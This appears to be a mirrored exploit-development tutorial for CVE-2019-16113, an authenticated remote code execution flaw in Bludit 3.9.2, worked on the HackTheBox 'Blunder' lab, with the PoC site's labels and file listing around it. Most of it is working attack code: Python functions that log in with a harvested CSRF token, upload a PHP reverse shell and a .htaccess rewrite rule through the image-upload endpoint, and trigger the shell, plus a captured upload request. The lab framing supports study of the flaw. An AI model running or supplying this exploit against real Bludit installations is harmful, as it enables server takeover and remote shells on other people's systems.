关联漏洞
介绍
# ExploitDev Journey #4 | CVE-2019-16113 | Bludit 3.9.2 - Authenticated RCE
Original Exploit: https://www.exploit-db.com/exploits/48701 <br>
**Exploit name:** Bludit 3.9.2 - Authenticated RCE <br>
**CVE**: 2019-16113 <br>
**Lab**: Blunder - HackTheBox
### Description
There is a mis-configuration in image upload functionality of Bludit that allows an authenticated user to upload any type of file. All you need to do is create a `write/modify` rule in `.htaccess` configuration file that allows access to any type of file with any type of extension: <br>
`RewriteEngine on\nRewriteRule ^.*$ -`
This vulnerability is not just because you can modify the `.htaccess` file, it's also because the application doesn't have restrictions on file upload (They have a client-side restriction which is easy to bypass). You can upload files without editing `.htaccess` file but then again you won't be able to access them without allowing files to be accessed using `RewriteRule`.
<br>
### How it works
You will need to find the admin panel of Bludit, login with the admin's credentials and then upload two files, one of them is your shell and the other is the `.htaccess` file which just modifies the rules that you can access files remotely.
You will use several functions to split all these operations into multiple parts which makes the exploit more readable and fun to play around.
<br>
### Writing the exploit
> `session = requests.Session()`
After the `gen_random_charset` function, we create a requests session that will keep the data such as login session inside it.
> `login(target, username, password)`
As the name implies this function is used to login to the application, it takes 3 parameters, one of which is `target` and then it's concatenated with the admin's login path.
```py
login_url = f'{rhost}/admin/login'
```
I love the idea of functional programming because everything is so simple to understand, for example here is the code for logging in:
```py
def login(target, username, password):
"""
This function uses username and password to log into the target and uses the global session variable.
"""
csrf_token = get_csrf_token(target)
login_status = ''
try:
request = session.post(target, data={'tokenCSRF': csrf_token, 'username': username, 'password': password})
if "<title>Bludit - Dashboard</title>" in str(request.text):
login_status = "[ + ] Login succeed... We are good to go :)"
else:
sys.exit("[ - ] Login failed, make sure the credentials are correct, exiting.")
except Exception as e:
print("[ ! ] ERROR: ", e)
sys.exit()
return login_status
```
Many parts of this code is self-explanatory because you are already familiar with the basics but take a look at the `csrf_token` variable:
```py
csrf_token = get_csrf_token(target)
```
It makes a call to `get_csrf_token` function. This function is responsible for getting the value of CSRF token from `http://target.htb/admin/login`, that URL is where you type in the username and password for logging in, basically it's the admin panel.
The magic of the function is right here:
```py
request = session.post(target, data={'tokenCSRF':csrf_token, 'username': username, 'password': password})
```
The data that you send contains the username, password and the CSRF token. To understand this better I am going to send a request with fake credentials so that you understand why we need to grab the CSRF token:
<img src="https://i.ibb.co/vwLFjzd/blunder1.png">
Then we update the value of `login_status` and finally return it. If login fails, the program will exit.
The most important part of this function is the following:
```py
csrf_token = get_csrf_token(csrf)
file = {'images[]': (payload_name, payload), 'uuid': (None, ''), 'tokenCSRF': (None, csrf_token)}
```
Notice that we are grabbing the CSRF token again and why?
We could just make the `csrf_token` variable global when we defined it inside `login` function but why didn't we?<br>
Because inside `login` function our session was unauthenticated, now that we are grabbing the `csrf_token` for the second time, our session is actually authenticated so this means that we can access paths such as `/admin/ajax/upload-images`.
Come back to this section once you understand the inner working of `get_csrf_token` function. It's very important to understand this part before moving forward.
> `get_csrf_token(url)`
The original exploit used regular expressions to get the value of CSRF, however I tried to do it the more professional way by using BeautifulSoup. Let's take a look into the source code of the admin panel and you will find an input tag where the CSRF token is stored at:
```html
<input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="b7c249a31177b06a4bd7743ec23070305e88e91c">
```
Here is the code that grabs this value:
```py
html = BeautifulSoup(request.text, "html.parser")
token = html.find('input', {'name': 'tokenCSRF'}).get('value')
```
> `shell_upload(payload, payload_name, target, csrf)`
This is just a function that will be used for both uploading the shell and uploading the `.htaccess` file which is very similar to modifying the file. It will be used twice in the program, once for uploading the shell and the second time for making the shell accessible by writing rules with [mod_rewrite](https://httpd.apache.org/docs/current/mod/mod_rewrite.html).
There is not much here that is not already covered, although you might ask what these `None` values represent:
```py
file = {'images[]': (payload_name, payload), 'uuid': (None, ''), 'tokenCSRF': (None, csrf_token)}
```
They are just values that are not there or are not required, for example we don't provide UUID but we provide `None` along with the value of `csrf_token`, let's take a closer look into shell uploading to better understand what we are actually sending as `files`.
Go to `http://10.129.95.225/admin/new-content` and just give the title and body of the post a random text, open BurpSuite and start the interceptor, now select an image by clicking on the top right corner on `Images` button, select your image and it will be uploaded automatically but before it gets uploaded to the server, you can see what data is being sent.
Here is the data (I have encoded the image bytes with base64 so that I can post it here):
```
POST /admin/ajax/upload-images HTTP/1.1
Host: 10.129.95.225
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------42535014607138150494112209897
Content-Length: 56480
Origin: http://10.129.95.225
Connection: close
Referer: http://10.129.95.225/admin/new-content
Cookie: BLUDIT-KEY=l69ss6d3gc086cskbhofvpidg6
-----------------------------42535014607138150494112209897
Content-Disposition: form-data; name="images[]"; filename="beep1.png"
Content-Type: image/png
iVBORw0KGgoAAAANSUhEUgAAApgAAAGoCAYAAADio5X5AAAABHNCSVQICAgIfAhkiAAAABl0RVh0U29mdHdhcmUAZ25vbWUtc2NyZWVuc2hvdO8Dvz4AACAASURBVHic7N13WJXlGwfw78sBAXMLKKCAIkscCILiJotyZprmSjP7uU3NmavIFGdqqZkjsxyVIxW3OUgxFAEnCsoWZKvI5pxz//4wjhzOhgOo3Z/rOl6+77Pud56H5x1HKC4uJjDGGGOMMaYnhoFnzlR3DIwxxhhj7DUi8AgmY4wxxhjTlaGhocI8sVgMADCo6mAYY4wxxtjrjTuYjDHGGGNMr7iDyRhjjDHG9Io7mIwxxhhjTK+4g8kYY4wx
-----------------------------42535014607138150494112209897
Content-Disposition: form-data; name="uuid"
79487d954f16638076b9b684b930d2ff
-----------------------------42535014607138150494112209897
Content-Disposition: form-data; name="tokenCSRF"
ebe8889fa7d8b20a79734b4a28640ab8d05f34f6
-----------------------------42535014607138150494112209897--
```
Look closely at the number of key:value pairs you are sending to the server. You are sending `images[]` as in `Content-Disposition: form-data; name="images[]"; filename="beep1.png"`.<br>
You are sending `UUID` as `Content-Disposition: form-data; name="uuid"`.<br>
You are sending `CSRF Token` as `Content-Disposition: form-data; name="tokenCSRF"`.
These of course have values but here we don't actually need to provide the UUID's value.
Here is how it's used:
```py
shell_upload(payload=payload_php, payload_name=payload_name, target=upload_url, csrf=csrf_token)
shell_upload(payload=htaccess, payload_name='.htaccess', target=upload_url, csrf=csrf_token)
```
Now that you understand what's underneath all that code, it is time to move on to the next function.
> `execute`
As always once we upload the shell, we will need to trigger it by opening it. We check the status code of the response and if it's a `200` then we are good to go:
```py
try:
check_shell = session.get(shell_url, timeout=20)
if check_shell.status_code == 200:
sys.exit("[ + ] We have a shell :)")
else:
sys.exit("[ ! ] Something went wrong, I can't connect to the shell, exiting.")
except requests.exception.Timeout:
sys.exit(f"[ + ] You should be getting a shell by now, if not open {shell_url}")
```
Nevertheless, there is always an exception catcher in case we get a timeout and sometimes when triggering a shell you can cause a timeout but that's okay.
The PHP payload that I am using is created by PentestMonkey and can be found [here](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php).
The rest of the code is self-explanatory, we just define a few variables that points to different URI paths which are very specific to Bludit:
```py
login_url = f'{rhost}/admin/login'
upload_url = f'{rhost}/admin/ajax/upload-images'
csrf_token = f'{rhost}/admin/new-content'
shell_url = f'{rhost}/bl-content/tmp/{payload_name}'
```
Next we make calls to all our functions and prettify the output:
```py
print(login(target=login_url, username=username, password=password))
print(70 * '-')
shell_upload(payload=payload_php, payload_name=payload_name, target=upload_url, csrf=csrf_token)
shell_upload(payload=htaccess, payload_name='.htaccess', target=upload_url, csrf=csrf_token)
print(70 * '-')
execute(shell_url=shell_url)
```
<br>
### Final thoughts
In this exploit development session I am sure that you have learned a few new things, the most important lessons of this session that you should not forget are the following:
* Session management in python
* You learned how `get_csrf_token` works before login & after login
* Exploiting authenticated vulnerabilities
* You learned about [mod_rewrite](https://httpd.apache.org/docs/current/mod/mod_rewrite.html) and how we can abuse it to allow the server to access all types of files
You learned quite a lot here and once you understand the fundamentals here, you won't have any problems dealing with other more complex exploits.
文件快照
[4.0K] /data/pocs/403f47c0e42d5f4419d35106f4cbabde1216ca31
├── [5.4K] exploit.py
└── [ 11K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。